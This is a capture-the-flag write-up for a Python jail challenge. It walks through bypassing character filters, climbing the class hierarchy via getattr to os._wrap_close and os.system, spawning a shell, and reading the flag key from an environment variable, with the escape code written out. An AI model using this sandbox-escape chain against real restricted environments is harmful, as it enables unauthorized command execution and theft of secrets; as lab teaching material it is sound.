hell_of_a_jail

We are in a Python jail, which tells us we need to call exit() with a parameter to escape. After trying a few things, we run into several restrictions:

The underscore and period filtering are applied in the wrong order, so we can bypass the underscore check and read __builtins__ by running:

>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}

Now we know that we have getattr available, which lets us avoid using . to access attributes. We can start from a simple tuple object (()), climb up the hierarchy to get to the object class and see which subclasses we can work with here. To avoid the 12-character limit, we will alias everything to single-character names and use variables to store long string parameters:

e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c)  # ().__class__
o=g(t,b)   # ... .__base__
x=g(o,s)   # ... .__subclasses__

Now, if we print x(), we will see a list of classes we can reach. One interesting option is os._wrap_close, which will let us access the os module to get to system. It is at index 127, so:

w=x()[127]     # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i)       # ... .__init__
a=g(z,l)       # ... .__globals__
s=a['system']  # ... ['system']

Now all that remains is to call s('sh') to get a shell. This lets us read the compiled jail shell jail.pyc, which we can decompile using uncompyle6 and read the exit() check:

def exit(arg):
    """Must invoke with the right arg in order to get the flag."""
    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
        print('Oh no ! You managed to escape\nValidate with the key')
        return sys.exit(0)
    print('Wrong key')

All that remains is to read the key from the environment variable. Since we already have a shell available, we can just run env and get the flag.